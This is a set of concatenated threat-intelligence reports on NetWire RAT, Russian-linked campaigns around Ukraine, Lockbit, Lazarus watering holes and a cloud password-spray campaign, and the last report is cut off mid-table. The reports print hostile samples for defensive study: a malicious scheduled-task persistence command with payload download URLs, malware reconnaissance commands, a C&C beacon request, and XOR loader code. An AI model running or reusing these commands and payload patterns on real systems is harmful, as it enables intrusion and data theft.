# Threat Thursday: NetWire RAT is Coming Down the Line The BlackBerry Research & Intelligence Team NetWire is a publicly available, multi-platform Remote Access Trojan (RAT) that is designed to target victims on Windows®, MacOS®, and Linux®. This threat has been distributed in phishing campaigns via weaponized Microsoft® documents, PDFs containing download links, and archive files containing payloads. It has also been seen for sale on the dark net, typically ranging in price from $40 to $140 USD. The goal of NetWire is to perform surveillance or take control of the infected system. Once the RAT has compromised a machine, the attacker can execute a variety of remote actions from its command and control (C2) server. The malware’s surveillance abilities include logging keystrokes, capturing screenshots, and stealing passwords, as well as accessing web cameras and microphones. ## Technical Analysis NetWire was first discovered in the wild in 2012, and it has been used since then by financially motivated cyber-criminals, as well as advanced persistent threat (APT) groups. Typically, the infection vector used to distribute this malware is via phishing campaigns where victims are lured into clicking on malicious Microsoft® Office files that contain embedded macros, which then launch a payload. The malware has also been seen spreading via malicious URLs in PDF files, as well as through malicious attachments in emails. The variant analyzed in this report was a binary created to target Windows machines. The file would arrive as a Win32 executable that is UPX-packed to help impede analysis. The malware also uses an anti-analysis technique to avoid execution in a sandbox. The “GetCursorPos” function is called twice, and the cursor positions are compared. The malware will not run until there is a difference in the mouse cursor positions. These are not the only tricks NetWire uses to hide its activity. When executed, the malicious binary creates a child process, and its code is then overwritten into this process. Because this is where the malicious activity spawns from, this makes analysis more difficult. The parent process drops the child process into the “User/AppData/Roaming/Install” directory and exits itself. NetWire creates a registry key and adds it to the auto-run group to achieve persistence. This will ensure that the malicious file will run automatically when the victim’s machine is booted up. By analyzing the strings in memory, we can see some of the functionality carried out by NetWire, and the information that it is attempting to gather. It tries to gather user login data from web browsers such as Google Chrome™ and Brave® Browser. The malware also scans the directories of Microsoft® Outlook® profiles on the victim’s machine to gather credentials. It also collects and logs both keystrokes and mouse movements. The keystrokes are of particular interest to the attacker as a potential source of sensitive information that can be used for malicious activity or financial gain. This could include data such as login details for online banking sites, credit card information, corporate network access credentials, or crypto wallets. This harvested information can often fetch a hefty price on underground forums and the dark web. NetWire creates a log file on the victim’s machine in the “User/Analyst/AppData/Roaming/Logs” directory, where it stores all captured data. The log file is named using the format DAY-MONTH-YEAR, matching the date the victim’s machine was infected. The data contained within the log file is encrypted using an RC4 cryptographic algorithm, the same algorithm the malware uses to encrypt strings and DLLs. NetWire also uses this obfuscation technique to hide registry keys, APIs, DLL names, and other strings. The malware also creates a mutex called “OqvAvPni” on the target machine. This is used by the malware author to avoid reinfection of the same host. NetWire will attempt to create a TCP connection with a remote C2 server. In the sample used in this analysis, there were continuous attempts to create a connection over port 3382 with the IP Address 192.169.69.25. From the strings in memory, we can see the DNS of the C2 server that this variant is attempting to reach is “love82.duckdns.org”. If this connection is successful, the attacker can transfer captured data or perform further malicious actions, such as downloading and executing additional malicious payloads. In the instance shown, the connection is unsuccessful as the RST flag is being returned. A TCP segment is sent with a RST flag when a connection request is received on the destination port, but no process is listening at that port. This likely means that the C2 server shown is no longer online and active. ## YARA Rule The following YARA rule was authored by the BlackBerry Research & Intelligence Team to catch the threat described in this document: ```yara import "pe" rule NetWire_RAT { meta: description = "Detects NetWire Remote Access Trojan" author = "BlackBerry Threat Research Team" date = "2021-09-06" SHA256 = "021323e02e618769aab03cd9d5dea602ff684c2ff64ef592d69b119e78502fd9" strings: $s1 = "test.exe" $s2 = "key_dtor_list" $s3 = "new_key" $s4 = "./mingw-w64-crt/crt/natstart.c" $s5 = "./mingw-w64-crt/crt/tlssup.c" $s6 = "./mingw-w64-crt/crt/tlsmcrt.c" $s7 = "cygming-crtbegin.c" $s8 = "tagCOINITBASE" $s9 = "IID_IWinInetFileStream" $s10 = "winnt.h" $s11 = "fwrite" condition: ( uint16(0) == 0x5a4d and filesize < 1500KB and pe.imphash() == "084fafd5fea9d39b4ff35f2d82f0908b" and pe.number_of_sections == 15 and ( all of them ) ) } ``` ## Indicators of Compromise (IoCs) - **SHA256**: 021323e02e618769aab03cd9d5dea602ff684c2ff64ef592d69b119e78502fd9 - **Files Created**: - User/AppData/Roaming/Install/Host.exe - User/AppData/Roaming/Logs/<Date-Of-Attack> - **Domains**: love82.duckdns.org - **C2**: 192.169.69.25 - **Mutex**: OqvAvPni - **Registry**: HKCU\SOFTWARE\NetWire ## BlackBerry Assistance If you’re battling this malware or a similar threat, you’ve come to the right place, regardless of your existing BlackBerry relationship. The BlackBerry Incident Response team is made up of world-class consultants dedicated to handling response and containment services for a wide range of incidents, including ransomware and Advanced Persistent Threat (APT) cases. We have a global consulting team standing by to assist you with around-the-clock support, if required, as well as local assistance.
# Growling Bears Make Thunderous Noise By Trellix · June 6, 2022 Per public attribution, Russian cybercriminal groups have always been active. Their tactics, techniques, and procedures (TTPs) have not significantly evolved over time, although some changes have been observed. Lately, the threat landscape has changed, as multiple domains have partially merged. This trend was already ongoing, but the increased digital activity further accelerated and exposed said trend. This paper will cover the cybercriminal evolutions over time, the impact of a (cyber)war, observed activity, and finally a call to action. ## Cybercriminal Evolutions Over Time The changes over time can be split into multiple evolutions, where each evolution is based on the one prior. This section provides insight into these evolutions, in chronological order. As these events unfolded organically, it is important to note that there is no exact date when one transformed into another. The goal here is to provide a further understanding of the historic events which occurred prior to the latest, and still ongoing, transformation. ### Cybercrime Whenever there is money to be made, there are people willing to risk it all. Some aren’t shy to break the law to gather a fortune; although each criminal individual’s actions differ, the result is the same. The digital world is certainly no exception, where one can argue that the anonymous nature of online interactions might be an accelerant. Most offenders generally operate based on opportunity. A server which hasn’t been patched for years makes for an easy target, especially with publicly available tooling to exploit the discovered vulnerabilities. ### Organized Cybercrime The next step, as is also seen in traditional crime, is for individuals to organize themselves. The more generalist nature of the original cybercriminals required defenders to uphold a certain level of security. The bundling of forces allows individuals to branch out into a specific area of expertise. As such, the previously set security standards become insufficient, thus requiring blue teams to raise the bar. With the additional knowledge, groups can exploit vulnerabilities based on incomplete write-ups or partial proof-of-concepts. Their targets are still opportunity-based, allowing the actors to target a wider variety of potential victims. The path of the least resistance is generally the most profitable here. ### Nation State Campaigns Nation state campaigns are often set up with a different goal than organized cybercrime. Usually, such actors conduct online espionage, potentially along with in-person espionage. These groups are commonly characterized by their advanced methods, their persistent nature, and the threat they pose, commonly summarized as an Advanced Persistent Threat, abbreviated as APT. Their goal is to complete the set objective(s), without solely relying on opportunity. Naturally, misconfigured machines and publicly available exploits provide ample opportunities to these groups, as can be seen with the ProxyLogon and ProxyShell vulnerabilities and their aftermath. These groups are, in contrast to most organized cybercrime, able to find their own way into a given target. The more advanced nation states are capable of finding vulnerabilities and creating their own exploits for them, ahead of the general public. This makes such an attack difficult to defend against, and the relentless nature of these groups drags the battle between the attacking and defending groups on, until the victim is either compromised, or no longer of strategic value for the attacker. Additionally, nation state backed groups do not always opt to profit directly from their activity. Taking systems hostage with ransomware, or simply wiping them using a wiper, imposes a cost on victims as they need to restore their systems, deal with downtime, and ensure the integrity of the seemingly unaffected systems. ### Merging Domains Long has there been speculation with regards to nation state involvement in organized cybercrime. This is difficult to prove in general, and even with some proof, skeptics continue to poke holes in the attribution. The leak of the Conti chats has provided solid evidence of the group’s ties with the Russian government. The amount of proof for such a claim is the first of its kind and allows analysts to view the exact conversations between actors. The criminals benefit by getting “immunity” of sorts, whereas the nation state benefits from the covered operation under the flag of the actor. Especially in the case when collaborating with a ransomware gang, such as Conti, the encrypted systems provide little information about the intrusion and activities on the system. This further masks the actions that were performed on the system. Since many Ukraine government sites were taken offline by suspected Russian actors in January 2022, Trellix Threat Labs has seen many parties involved, from civilian groups, such as the different ‘anonymous’ movements, to semi-government sponsored groups like the ‘Ukrainian Cyber Army’, to nation-state groups that disrupt communication and infrastructure. Each of them is leveraging open-source adversary tools in their attacks, which makes it difficult to attribute the attacks to one or more specific groups. As one can imagine, tracking activities on the social media platforms many of these groups are using can be challenging. From the information posted, one must consider: is it reliable, is it misinformation, is it propaganda, are images or data manipulated or backdoored? With these attacks happening, the barriers which are traditionally seen between the different actors are blurring. As barriers become distorted, filling out a diamond model of intrusion on the different actors involved gets more complicated because of the similar tools and techniques and targets. As illustrated earlier on, the Conti ransomware group’s stance with regards to the Russian invasion in Ukraine cost them, as their data was leaked, providing researchers not only with the aforementioned chat leaks, but also a copy of the ransomware’s source code. A pro-Ukrainian group, dubbed NB65, then took this source code and modified it, after which they started to attack targets in Russia. Due to the police’s protection, the actor’s own region is often left unaffected, a small price to pay to ensure little to no police involvement, making this move rather unheard of. ### The Impact of (Cyber)war With the ever-increasing intertwining of our digital and physical lives, the impact of a (digital) war is increasing day by day. There’s been a lot of speculation about a “full blown cyberwar” prior to the Russian invasion. Something can be said in favor of these arguments, but when missiles explode in your vicinity, computers aren’t that interesting anymore. Once the most direct danger has passed, however, the digital domain is vital to securely and timely communicate with one another. It is also a safe way to perform reconnaissance, in contrast to sending a squad to scout a hostile area. To support our customers and the people of Ukraine, Trellix Threat Labs coordinated with multiple government institutions to provide them with the necessary telemetry insights, intelligence briefings and analysis of the malware tools used by Russian actors. A large portion of Trellix's efforts were performed in discretion as protection of our customers is our highest priority. ## Observed Activity Just as physical warfare uses a multitude of military tactics and equipment, Trellix Threat Labs has observed similar activity on the cyberfront, including but not limited to wipers, spear-phishing, back-doors, vulnerabilities, and many other techniques. In the following sections, several of these activities will be highlighted, along with the attributed actors. Initially, we observed different groups using several tactics to gain access, gather information and credentials, and establish and maintain access to the victim’s networks. ### Gamaredon Over the years, the pro-Russian Gamaredon group has been digitally operating in Ukraine. Their targets are mostly national institutes and government entities, based on Trellix Labs’ observations. From February to March 2022, we observed a Word document attached to a spear-phishing e-mail which was created to appear as a legitimate Ministry of Foreign Affairs document, while it was backdoored with a VBS script to download and install a persistent file on the victim’s machine. After opening this document, the script in the macro code was executed. Cleaning up the code, we observe the creation of a scheduled task. The task’s schedule frequency is set to minutes, where the modifier is set to 12. ```plaintext Wscript.exe launching "C:\\Windows\\System32\\schtasks.exe" /Create /SC MINUTE /MO 12 /F /tn Word.Downdloads /tr ``` The scheduled task downloads the payload from this website: ```plaintext hxxp://saprit.space/ACBFDE98.rar ``` After the download, the rar file is renamed to a .exe file and is saved as a vbs file: ```plaintext C:\\Users\\3e837342b1d29db33fcb762a84f23aa5\\AppData\\Roaming\\Microsoft\\Excel\\ExelCreate_v.ACBFDE98.vbs ``` Unfortunately, the final payload was not available for analysis, but the pattern of intrusion and macro code were similar observed by others investigating this same actor. During that same timeframe, we observed a similar document used to target victims. Although both documents are dated (based on metadata, but we realize these can be manipulated), it could either be a case of simulating an attack or re-using the same modus operandi with adjusted payloads. When the macro is executed in the second document, it follows the below steps: - Winword.exe creating the file "C:\Users\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IndexOffice.vbs" - Wscript.exe launching the process schtasks.exe with command line "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 12 /F /tn Word.Downdloads /tr C:\Users\\AppData\Roaming\Microsoft\Office\IndexOffice.vbs - Wscript.exe launching the process schtasks.exe with command line "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 15 /F /tn Word.Documents /tr C:\Users\\AppData\Roaming\Microsoft\Office\IndexOffice.exe - Downloads payload from hxxp://cornelius.website/WindowsNewsense.php - Appends and creates the file ‘IndexOffice.vbs) ### Phishing the Ukrainian Ministry of Defense In March, we observed several phishing attempts trying to impersonate the Ministry of Defense of Ukraine. One email, sent on March 23rd, had the subject “Доступний новий ресурс” (“A new resource is available” in English), and was sent to at least 42 recipients. The URL in the message pointed to hxxp://file-milgov[.]systems/ and the domain resolved to the following IP 93.95.227[.]226, which belongs to a hosting provider in Iceland. We were not able to identify who might have set up these campaigns. In the bigger picture of observing several tactics and techniques being used, this is another example of how adversaries can attempt to gain credentials from victim networks. Upon closer inspection of the webpage, it asks for a username and password and identifies itself as the “Міністерство Оборони України Файлове сховище”, which translates to “Ministry of Defense of Ukraine File Storage” in English. When a user fills in credentials, the webpage responds with a small error message at the bottom of the page: “Невдала спроба входу” translates to “Unsuccessful login attempt”. The specific server had other error pages which mimicked another internal error: “Вибачте, на сервері ще ведуться технічні роботи”, which translates to “Sorry, the server is still undergoing technical work” in English. The same server, 82.221.139[.]137, also hosted an additional suspected phishing page. Interesting to note, the page features an explicit warning to turn JavaScript on, in order to use this mail server contained on the page. ### Wipers Communication is vital to survive during wartime, and the adversarial use of malware attacks to “wipe” communication systems has been widespread in the region. A wiper’s sole purpose is to wipe the device it is executed on, and potentially other connected devices. If the execution is successful, the device is rendered useless, and whether backups are available or not, the machine does not function at all. The recovery of a single machine might not take long, but the restoration of a company or government-wide attack may take months and cause disruption when communication, access to data, and coordination are critical. When actors choose to use a wiper, they know that the weapon may be used against them. Aside from the damage, it is often used as propaganda to demonstrate how ‘weak’ the enemy’s defenses are. It’s important to understand that to deploy a wiper, the actor needs access to the physical disk, which requires administrator or system privileges. We have observed actors using trusted tools and stolen certificates, mimicking ransomware, and employing several tactics to hide these attack-tools from being detected and ensure that access to the network remains available to the actor. In one example, Trellix Threat Labs observed an actor access a victim’s network with the intent to wipe their systems. When the first wiper (dubbed WhisperGate) failed to execute, it took the actors only two and a half hours to deploy another wiper (HermeticWiper) instead. ### Targeted Exchange Servers One of our Ukrainian clients also detected activities in March 2022, using vulnerabilities to attack the internal network and store the output in a file accessible from the Internet. In the command-lines below, we observe that the actor is gaining information from the system and writing the output of the command towards the file ‘owafont_ua.css’ hosted on the OWA Exchange webserver. These commands were executed in such a rapid manner that these were executed using a webshell, stored on that same Exchange server. ### UAC-0056 In April 2022, Trellix Labs observed indicators which the Ukrainian CERT has attributed to Russian threat group UAC-0056. The attack primarily targets the Ukrainian government and energy sector. Malicious Excel documents were sent as attachments from a compromised email account. Once the document was opened, either embedded code would be constructed and executed, or it would download the next stage from the Internet. The next stage ranges from implants to Cobalt Strike beacons. Compromised sites, Discord servers, and pre-staged domains have been observed to store these implants. The implants go by the name Graphsteel and Grimplant and were implemented to steal user credentials, network information, and then exfiltrate said information in encrypted form to the C2 using Google’s high-performance Remote Procedure Call framework called gRPC. ### A Call to Action Trellix has historically had a significant customer base in Ukraine and when the cyberattacks targeting the country intensified, we coordinated closely with government and industry partners to provide greater visibility into the evolving threat landscape. We have been eager to support the region against malicious cyber activity and have been able to go beyond sharing knowledge to also provide a wide range of security appliances at no cost in the affected region.
# Lockbit 3.0: Another Upgrade to World’s Most Active Ransomware Lockbit Ransomware gang, also known as Bitwise Spider, are the cybercriminal masterminds behind the popular Lockbit Ransomware-as-a-service. They are one of the most active ransomware gangs with generally multiple victims per day, sometimes higher. On March 16, 2022, they began continuously announcing new victims on their Dark Web site much faster than any ransomware group. SOCRadar has detected more than 22 victims in 48 hours. ## Origins of the Lockbit Ransomware They began their operations in September 2019 as ABCD ransomware and then changed its name to Lockbit. They rebranded and came back with even better ransomware in June 2021, as Lockbit 2.0. Lockbit 2.0 introduced new features such as shadow copy and log file deletion to make recovery harder for the victims. In addition, Lockbit has the fastest encryption speed among the most popular ransomware gangs, with around 25 thousand files encrypted in under one minute. The gang is believed to have originated in Russia. According to a detailed analysis of Lockbit 2.0, the ransomware checks the default system language and avoids encryption, stopping the attack if the victim system’s language is Russian or the language of one of the nearby countries. ## Lockbit on Russia – Ukraine Cyberwar In the cyber crisis between Russia and Ukraine, which began on February 23rd, 2022, Lockbit announced that it would not participate in the cyberattacks. They stated that they would not take part in cyberattacks on international conflicts. They are only in it for the business and do not care about politics. Another very active ransomware gang also believed to be from Russia, Conti, had stated that they would side with Russia, which some members of Conti were not pleased with. Following the events, some insider members of Conti began leaking internal chat logs and source code for the Conti locker and decryptor. A funny detail about the gang is that they are confident in their skills and arrogant. On March 25, 2022, a member of Lockbit announced on a hacker forum that they would be giving a million dollars to an FBI agent who can doxx them, placing a million-dollar bounty on its own head. ## Dark Web Gossips: Lockbit 3.0 Emerging FBI’s cyber division published an FBI Flash security advisory on Lockbit 2.0’s Indicators of Compromise (IOCs) on March 4th, 2022. After the FBI’s advisory, a user in a Dark Web forum posted a forum entry titled “Kockbit fuckup thread.” In the post, the user addresses the bugs found in Lockbit 2.0 ransomware and a recovery method for the victims, addressing the FBI’s advisory along with Microsoft’s Detection and Response Team’s (DART’s) research on Lockbit. Microsoft DART researchers discovered a method by uncovering and exploiting bugs found in the Lockbit 2.0 ransomware, enabling them to successfully revert the encryption process on an MSSQL database of one of Lockbit’s victims. A member of the Lockbit ransomware group commented on the post explaining the reason for the MSSQL bug. The Lockbit member stated that the bug will not exist in Lockbit 3.0, signaling the newest version’s release. After a couple of days, on March 17, the cyber research team vx-underground posted a screenshot of their talks with one of Lockbit’s associates. In the screenshot, the vx-underground researcher asks when Lockbit 3.0 is being released, and the Lockbit affiliate says the newest version will be released in one or two weeks. The Lockbit group is still using the Lockbit 2.0 name, but we can expect an update in the following month. It has been two weeks since vx-underground tweeted their conversation with the Lockbit affiliate, but the Lockbit team has no deadline to uphold. They can release the new version whenever they want. The new features and upgrades in Lockbit 3.0 are still a mystery. SOCRadar CTIA team will follow the updates regarding Lockbit 3.0 and bring you the latest updates.
# Lazarus & Watering-hole Attacks On 3rd February 2017, researchers at badcyber.com released an article that detailed a series of attacks directed at Polish financial institutions. The article is brief, but states that "This is – by far – the most serious information security incident we have seen in Poland," followed by a claim that over 20 commercial banks had been confirmed as victims. This report provides an outline of the attacks based on what was shared in the article and our own additional findings. ## Analysis As stated in the blog, the attacks are suspected of originating from the website of the Polish Financial Supervision Authority (knf.gov.pl). From at least 2016-10-07 to late January, the website code had been modified to cause visitors to download malicious JavaScript files from the following locations: - hxxp://sap.misapor.ch/vishop/view.jsp?pagenum=1 - hxxps://www.eye-watch.in/design/fancybox/Pnf.action Both of these appear to be compromised domains given they are also hosting legitimate content and have done for some time. The malicious JavaScript leads to the download of malware to the victim’s device. Some hashes of the backdoor have been provided in BadCyber's technical analysis: - 85d316590edfb4212049c4490db08c4b - c1364bbf63b3617b25b58209e4529d8c - 1bfbc0c9e0d9ceb5c3f4f6ced6bcfeae The C&Cs given in the BadCyber analysis were the following IP addresses: - 125.214.195.17 - 196.29.166.218 ### Lazarus Malware Only one of the samples referenced by BadCyber is available in public malware repositories. At the moment we cannot verify that it originated from the watering-hole on the KNF website – but we have no reason to doubt this either. | MD5 hash | Filename | File Info | First seen | Origin | |---------------------------------------------|------------|-----------|--------------|--------| | 85d316590edfb4212049c4490db08c4b | gpsvc.exe | Win32 | 2017-01-26 | PL | The file is packed with a commercial packer known as 'Enigma Protector'. Once unpacked, it drops a known malware variant, which has been seen as part of the Lazarus group’s toolkit in other cases over the past year. The unpacked executable takes several command line arguments: - `-l` : list service names, available for its own registration - `-o` : open specified event - `-t` : set specified event - `-x [PASSWORD] -e [SERVICE_NAME]` : drop/install DLL under specified [SERVICE_NAME] - `-x [PASSWORD] -f [SERVICE_NAME]` : recreate the keys that keep the password for the next stage DLL, under the specified [SERVICE_NAME] The provided password's MD5 hash is used as an RC4 password. On top of that, there is one more RC4-round, using a hard coded 32-byte RC4 password: ``` 53 87 F2 11 30 3D B5 52 AD C8 28 09 E0 52 60 D0 6C C5 68 E2 70 77 3C 8F 12 C0 7B 13 D7 B3 9F 15 ``` Once the data is decrypted with two RC4 rounds, the dropper checks the decrypted data contains a valid 4-byte signature: `0xBC0F1DAD`. ### Watering Hole Analysis The attacker content on the compromised sap.misapor.ch site was not accessible at the time of writing. However, archived versions of some pages can be found: - http://web.archive.org/web/20170203175640/https://sap.misapor.ch/Default.html - http://web.archive.org/web/20170203175641/https://sap.misapor.ch/Silverlight.js The Default.html contains code to load MisaporPortalUI.xap – a Silverlight application which likely would contain the malicious first-stage implant. This is unfortunately not available for analysis currently. ```html <div id="silverlightControlHost"> <object data="data:application/x-silverlight," type="application/x-silverlight-2" width="100%" height="100%"> <param name="source" value="ClientBin/MisaporPortalUI.xap?ver=1.0.7.0"/> <param name="onerror" value="onSilverlightError" /> <param name="background" value="white" /> <param name="minRuntimeVersion" value="3.0.40624.0" /> <param name="autoUpgrade" value="true" /> </object> <iframe id='_sl_historyFrame' style='visibility:hidden;height:0;width:0;border:0px'></iframe> </div> ``` ### Additional Watering Holes The eye-watch.in domain appears to have been used in watering-hole attacks on other financial sector websites. On 2016-11-08, we observed connections to the site referred from: - hxxp://www.cnbv.gob.mx/Prensa/Paginas/Sanciones.aspx This is the page for the Comisión Nacional Bancaria y de Valores (National Banking and Stock Commission of Mexico), specifically the portion of their site that details sanctions made by the Mexican National Banking Commission. This organisation is the Mexican banking supervisor and the equivalent of Poland's KNF. In this instance, the site redirected to the following URL: - hxxp://www.eye-watch.in/jscroll/images/images.jsp?pagenum=1 At the time of writing, the compromise is no longer present and no archived versions of the page exist to show where the compromise was located. A further instance of the malicious code appears to have been present on a bank website in Uruguay around 2016-10-26 when a PCAP of browsing to the website was uploaded to VirusTotal.com. This shows a GET request made to: - hxxp://brou.com.uy Followed shortly after by connections to: - www.eye-watch.in:443 Unfortunately, the response was empty and it is not possible to assess what may have been delivered. ### Additional Malware and Exploit Activity The compromised eye-watch.in domain has been associated with other malicious activity in recent months. Below is a list of samples which have used the site: | MD5 hash | Filename | File Info | First seen | Origin | |---------------------------------------------|------------|-----------|--------------|--------| | 4cc10ab3f4ee6769e520694a10f611d5 | cambio.xap | ZIP | 2016-10-07 | JP | | cb52c013f7af0219d45953bae663c9a2 | svchost.exe| Win32 EXE | 2016-10-24 | PL | | 1f7897b041a812f96f1925138ea38c46 | gpsvc.exe | Win32 EXE | 2016-10-27 | UY | | 911de8d67af652a87415f8c0a30688b2 | gpsvc.exe | Win32 EXE | 2016-10-28 | US | | 1507e7a741367745425e0530e23768e6 | gpsvc.exe | Win32 EXE | 2016-11-15 | N/A | The last four samples can loosely be categorized as the same malware variant; however, the first sample appears to be a separate exploit. It is worth noting that these samples were all compiled after the domain began being used alongside the knf.gov.pl watering-hole. Additionally, the samples uploaded from Poland and Uruguay match with the watering-hole activity observed – suggesting this is all part of the same campaign. Despite this potential connection to the Poland bank compromises, the malware is not particularly advanced – for example, using basic operations to gather system information. The malware attempts to run a series of commands with cmd.exe and then returns the result via the C&C, eye-watch.in. These commands are as follows: ``` cmd.exe /c hostname cmd.exe /c whoami cmd.exe /c ver cmd.exe /c ipconfig -all cmd.exe /c ping www.google.com cmd.exe /c query user cmd.exe /c net user cmd.exe /c net view cmd.exe /c net view /domain cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings" cmd.exe /c tasklist /svc cmd.exe /c netstat -ano | find "TCP" ``` An example C&C beacon is seen below: ``` GET /design/dfbox/list.jsp?action=What&u=10729854751740 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0 Host: www.eye-watch.in ``` ### Silverlight XAP File The cambio.xap archive sample (4cc10ab3f4ee6769e520694a10f611d5) does not use eye-watch.in as a C&C channel but instead was downloaded from the URL: - hxxps://www.eye-watch.in/design/fancybox/include/cambio.xap 'cambio' is Spanish for 'change'. The URL is similar to that noted in the BadCyber blog, and the use of an XAP file matches what can be found in the Archive.org cache for the sap.misapor.ch site. XAP is a software package format used for Microsoft Silverlight applications. It can be opened as a standard ZIP archive and contains the following files: - AppManifest.xaml - Shell_siver.dll - System.Xml.Linq.dll Together they form a re-packaged exploit for Silverlight based on CVE-2016-0034 (MS16-006) – a Silverlight Memory Corruption vulnerability. The exploit has previously been used by several exploit kits including RIG and Angler to deliver multiple crimeware tools. The Shell_siver.dll file contains a compile path: ``` c:\Users\KKK\Desktop\Shell_siver\Shell_siver\obj\Release\Shell_siver.pdb ``` Internally, the code of this DLL loads a 2nd stage library called binaryreader.Exploit – as seen below with the XOR-encoded string: ```csharp byte[] array = new byte[] { 115,120,127,112,99,104,99,116,112,117, 116,99,63,84,105,97,125,126,120,101 }; this.InitializeComponent(); for (int i = 0; i < array.Length; i++) { array[i] ^= 17; } if (args.get_InitParams().get_Keys().Contains("shell32")) { ... type.InvokeMember("run", 256, null, obj, new object[]) ... } ``` This 2nd stage payload DLL contained within the assembly is 30,720 bytes in size and encoded with XOR 56: ```csharp Buffer.BlockCopy(Resource1._1, 54, array, 0, 30720); try { for (int i = 0; i < array.Length; i++) { byte b = 56; array[i] ^= b; } ... } ``` Once the payload stub is decoded, it represents itself as a PE-image, which is another .NET 4.0 assembly with the internal name binaryreader.dll. This second-stage DLL assembly, binaryreader.dll, is heavily obfuscated. The DLL (MD5 hash: 7b4a8be258ecb191c4c519d7c486ed8a) is identical to the one reported in a malware traffic analysis blog post from March 2016 where it was used to deliver Qbot. Thus it is likely the code comes from a criminal exploit kit which is being leveraged for delivery in this campaign. A similarly named cambio.swf (MD5 hash: 6dffcfa68433f886b2e88fd984b4995a) was uploaded to VirusTotal from a US IP address in December 2016. ### IP Whitelists When examining the code on the exploit kit website, a list of 255 IP address strings was found. The IPs only contained the first 3 octets and would have been used to filter traffic such that only IPs on that subnet would be delivered the exploit and payload. The IP addresses corresponded to a mix of public and private financial institutions spread across the globe. However, banks in some specific countries feature prominently in the list: | Rank | Country | Count | |------|----------------------|-------| | 1 | Poland | 19 | | 2 | United States | 15 | | 3 | Mexico | 9 | | 4 | United Kingdom | 7 | | 5 | Chile | 6 | | 6 | Brazil | 5 | | 7 | Peru | 3 | | 7 | Colombia | 3 | | 7 | Denmark | 3 | | 7 | India | 3 | The prominence of Polish and Mexican banks matches the observation of watering-hole code on sites in both countries. ## Conclusions The evidence available is currently incomplete and at the moment we can only conclude the following: - There has been a series of watering hole attacks on bank supervisor websites in Poland & Mexico, and a state-owned bank in Uruguay in recent months. These leverage Silverlight and Flash exploits to deliver malware. - Investigators in Poland have identified known Lazarus group implants on bank networks and associated this with the recent compromise of the Polish Financial Supervision Authority's website. The technical/forensic evidence to link the Lazarus group actors (who we believe are behind the Bangladesh Bank attack and many others in 2016) to the watering-hole activity is unclear. However, the choice of bank supervisor/state-bank websites would be apt, given their previous targeting of Central Banks for heists – even when it serves little operational benefit for infiltrating the wider banking sector. Nonetheless, further evidence to connect together the pieces of this attack is needed, as well as insights into the end-goal of the culprits. We are continuing our analysis of new artifacts as they emerge and may issue further updates in due course. ## Recommendations We recommend organizations use the indicators provided in Appendix A to update their defensive systems to identify attacks. For compromised legitimate websites, we would suggest a minimum 1-month block be placed on the domain. Patches against CVE-2016-0034 should be applied as soon as possible. ## Appendix A - Indicators of Attack | C&C IP address | |--------------------------| | 125.214.195.17 | | 196.29.166.218 | | Compromised site | |--------------------------| | knf.gov.pl (currently clean) | | www.cnbv.gob.mx (currently clean) | | brou.com.uy (currently clean) | | sap.misapor.ch | | www.eye-watch.in | | MD5 Hashes | |----------------------------------------------| | c1364bbf63b3617b25b58209e4529d8c | | 85d316590edfb4212049c4490db08c4b | | 1bfbc0c9e0d9ceb5c3f4f6ced6bcfeae | | 1507e7a741367745425e0530e23768e6 | | 911de8d67af652a87415f8c0a30688b2 | | 1f7897b041a812f96f1925138ea38c46 | | cb52c013f7af0219d45953bae663c9a2 | | 4cc10ab3f4ee6769e520694a10f611d5 | | 7b4a8be258ecb191c4c519d7c486ed8a |
# Cloud Credential Compromise Campaign Originating from Russian-Affiliated Infrastructure Proofpoint Cloud Security group researchers have found widespread cloud credential variance attacks on organizations since February 22, 2022, originating from Russian-affiliated infrastructure. This blog post will explain the very active threat campaign targeting our customers’ cloud apps and how to secure your cloud risks. ## Attack profile and example attack As of February 28, 2022, we’ve observed approximately 78,000 credential variance attacks (i.e. brute force or password spray attempts), targeting 4,340 user accounts across 728 monitored cloud environments. Over 85% of the targeted organizations are US-based, with the remainder operating in other Western countries. The vast majority of attacks either originated from identified Russian sources (IP addresses and DCH services located in Russia) or from servers associated with Russian hosting services, chiefly in the US. In our assessment, unauthorized access could open the door to account takeover, privilege escalation, lateral movement, and data exfiltration. The screenshot below showcases one of the many attacks we’ve seen. We detected this threat to the user based on identifying the credential variance attack type, user behavior analytics, and the user being heavily targeted in the past (the user is a Very Attacked Person, or VAP). In this case, the user has never attempted to log in to their organization’s Office 365 account using the hostname “mastercommunications.ru” and a data hosting center (DCH) proxy. In fact, our threat intelligence has identified that as typical for this threat actor. ## Targeted industries and other technical analysis The primary targets have been varied, with no industry accounting for more than 11% of all attacks. The top five most targeted industries account for 44% of all the attacks, including manufacturing, financial services, healthcare, business services, and construction. A few interesting artifacts of the campaign: 1. An unusual user agent (UA) string – “14 Windows Mobile - Tablet Very common” – amongst the many we’ve seen. We have seen either as a standalone string or appended to the end of a longer UA string. This UA string is unique to this campaign and may be unintentional. 2. The attacks are conducted against users in alphabetic order by username, which may be a trait of the credential variance toolkit used. 3. The malicious targeting attempts are decentralized, with multiple hosting services and operational assets trying to compromise user accounts simultaneously. ## Protect your cloud accounts with cloud security best practices - Treat any traffic from the IOCs listed below as potentially suspicious while this campaign is active. - Monitor all cloud accounts of your organization for suspicious logins and remediate highly suspicious logins immediately. - Limit cloud traffic from locations of interest to trusted web infrastructure (IP addresses, ISP hosts). - Use multi-factor authentication on your cloud services, especially web, customer, or partner-facing applications. - Set up DLP policies to identify sensitive data exfiltration to unmanaged devices. - Monitor for suspicious configuration changes to 3rd party OAuth apps, cloud email, and cloud servers. ## Summarized Indicators of Compromise (IOCs): | ISP / Proxy Service | Associated Domain | IP Address | |-----------------------------------|-----------------------------------|-----------------------| | Address Management Inc. | clouvider.co.uk | 103.151.103.243 | | Admin LLC | cadmin.ru | 213.139.193.38 | | Auction LLC | dauction.ru | 45.87.124.155 | | B2 Net Solutions Inc. | servermania.com | 23.229.53.52 | | | | 23.229.53.63 | | | | 23.229.67.247 | | | | 23.229.67.248 | | | | 23.229.79.18 | | | | 23.229.79.24 | | | | 23.229.79.25 | | | | 23.229.79.28 | | LIR LLC | lir.am | 103.152.17.248 | | Mastercom LLC | 